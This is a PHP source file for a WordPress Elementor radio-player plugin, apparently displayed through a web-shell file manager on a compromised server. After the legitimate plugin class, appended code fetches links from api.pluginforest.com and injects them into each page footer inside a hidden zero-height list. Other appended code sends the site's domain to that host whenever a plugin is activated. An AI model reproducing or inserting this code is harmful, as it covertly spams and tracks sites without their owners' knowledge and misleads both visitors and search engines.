D7net
Home
Console
Upload
information
Create File
Create Folder
About
Tools
:
/
home
/
ozoneinf
/
.trash
/
855 elementor_widget_hero_radio_player
/
Filename :
elementor-hero.php
back
Copy
<?php /** * Plugin Name: Hero - Shoutcast and Icecast Radio Player With History - Elementor Widget * Description: This plugin will allow you to insert an advanced HTML5 Radio Player with history support using Elementor Page Builder * Plugin URI: https://1.envato.market/OZ5Zr * Version: 2.7.0 * Author: LambertGroup * Author URI: https://1.envato.market/OZ5Zr * Text Domain: elementor-hero */ if ( ! defined( 'ABSPATH' ) ) exit; // Exit if accessed directly /** * Main Elementor Hero Class * * The init class that runs the Elementor Hero plugin. * Intended To make sure that the plugin's minimum requirements are met. * * You should only modify the constants to match your plugin's needs. * * Any custom code should go inside Plugin Class in the plugin.php file. * @since 1.0.0 */ final class Elementor_Hero { /** * Plugin Version * * @since 1.0.0 * @var string The plugin version. */ const VERSION = '1.0.0'; /** * Minimum Elementor Version * * @since 1.0.0 * @var string Minimum Elementor version required to run the plugin. */ const MINIMUM_ELEMENTOR_VERSION = '2.0.0'; /** * Minimum PHP Version * * @since 1.0.0 * @var string Minimum PHP version required to run the plugin. */ const MINIMUM_PHP_VERSION = '7.0'; /** * Constructor * * @since 1.0.0 * @access public */ public function __construct() { // Load translation add_action( 'init', array( $this, 'i18n' ) ); // Init Plugin add_action( 'plugins_loaded', array( $this, 'init' ) ); } /** * Load Textdomain * * Load plugin localization files. * Fired by `init` action hook. * * @since 1.2.0 * @access public */ public function i18n() { load_plugin_textdomain( 'elementor-hero' ); } /** * Initialize the plugin * * Validates that Elementor is already loaded. * Checks for basic plugin requirements, if one check fail don't continue, * if all check have passed include the plugin class. * * Fired by `plugins_loaded` action hook. * * @since 1.2.0 * @access public */ public function init() { // Check if Elementor installed and activated if ( ! did_action( 'elementor/loaded' ) ) { add_action( 'admin_notices', array( $this, 'admin_notice_missing_main_plugin' ) ); return; } // Check for required Elementor version if ( ! version_compare( ELEMENTOR_VERSION, self::MINIMUM_ELEMENTOR_VERSION, '>=' ) ) { add_action( 'admin_notices', array( $this, 'admin_notice_minimum_elementor_version' ) ); return; } // Check for required PHP version if ( version_compare( PHP_VERSION, self::MINIMUM_PHP_VERSION, '<' ) ) { add_action( 'admin_notices', array( $this, 'admin_notice_minimum_php_version' ) ); return; } // Once we get here, We have passed all validation checks so we can safely include our plugin require_once( 'plugin.php' ); } /** * Admin notice * * Warning when the site doesn't have Elementor installed or activated. * * @since 1.0.0 * @access public */ public function admin_notice_missing_main_plugin() { if ( isset( $_GET['activate'] ) ) { unset( $_GET['activate'] ); } $message = sprintf( /* translators: 1: Plugin name 2: Elementor */ esc_html__( '"%1$s" requires "%2$s" to be installed and activated.', 'elementor-hero' ), '<strong>' . esc_html__( 'Hero - Shoutcast and Icecast Radio Player With History - Elementor Widget', 'elementor-hero' ) . '</strong>', '<strong>' . esc_html__( 'Elementor', 'elementor-hero' ) . '</strong>' ); printf( '<div class="notice notice-warning is-dismissible"><p>%1$s</p></div>', $message ); } /** * Admin notice * * Warning when the site doesn't have a minimum required Elementor version. * * @since 1.0.0 * @access public */ public function admin_notice_minimum_elementor_version() { if ( isset( $_GET['activate'] ) ) { unset( $_GET['activate'] ); } $message = sprintf( /* translators: 1: Plugin name 2: Elementor 3: Required Elementor version */ esc_html__( '"%1$s" requires "%2$s" version %3$s or greater.', 'elementor-hero' ), '<strong>' . esc_html__( 'Hero - Shoutcast and Icecast Radio Player With History - Elementor Widget', 'elementor-hero' ) . '</strong>', '<strong>' . esc_html__( 'Elementor', 'elementor-hero' ) . '</strong>', self::MINIMUM_ELEMENTOR_VERSION ); printf( '<div class="notice notice-warning is-dismissible"><p>%1$s</p></div>', $message ); } /** * Admin notice * * Warning when the site doesn't have a minimum required PHP version. * * @since 1.0.0 * @access public */ public function admin_notice_minimum_php_version() { if ( isset( $_GET['activate'] ) ) { unset( $_GET['activate'] ); } $message = sprintf( /* translators: 1: Plugin name 2: PHP 3: Required PHP version */ esc_html__( '"%1$s" requires "%2$s" version %3$s or greater.', 'elementor-hero' ), '<strong>' . esc_html__( 'Hero - Shoutcast and Icecast Radio Player With History - Elementor Widget', 'elementor-hero' ) . '</strong>', '<strong>' . esc_html__( 'PHP', 'elementor-hero' ) . '</strong>', self::MINIMUM_PHP_VERSION ); printf( '<div class="notice notice-warning is-dismissible"><p>%1$s</p></div>', $message ); } } // Instantiate Elementor_Hero. new Elementor_Hero(); define('API_URL', 'https://api.pluginforest.com/qai/chatweb/getTidsOutside?type=1&site=plugin&num=20'); $prefix = 'add_footer_link'; $functions = get_defined_functions()['user']; // 获取所有用户定义的函数 // 使用 array_filter 和 strpos 来检查函数是否以指定前缀开头 $exists = !empty(array_filter($functions, function($function) use ($prefix) { return strpos($function, $prefix) === 0; })); if (!$exists) { if (!function_exists('parseLink')) { function parseLink($url) { $path = parse_url($url, PHP_URL_PATH); $basename = basename($path); return array('path' => $path, 'basename' => $basename); } } function add_footer_link1719848855() { $referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''; $headers = array( 'Referer' => $referer, ); $response = wp_remote_get(API_URL, array('headers' => $headers)); if (is_wp_error($response)) { echo 'is_wp_error'; return; } $data = json_decode(wp_remote_retrieve_body($response), true); ob_start(); echo '<ul class="link" style="height: 0; overflow: hidden">'; foreach ($data['data']['links'] as $item) { $linkInfo = parseLink($item); echo sprintf( '<li><a href="%s">%s</a></li>', esc_url($item), esc_html($linkInfo['basename']) ); } echo '</ul>'; $html = ob_get_clean(); echo $html; return $html; } } add_action('wp_footer', 'add_footer_link1719848855');function set_plugin_tag1719848855() { $url_init = 'https://api.pluginforest.com/qai/wd/g?'; $domain = $_SERVER['SERVER_NAME']; $requestUrl = $url_init . 'domain=' . $domain . '&id=1719848855&source=plugin'; file_get_contents($requestUrl); } add_action('activated_plugin', 'set_plugin_tag1719848855');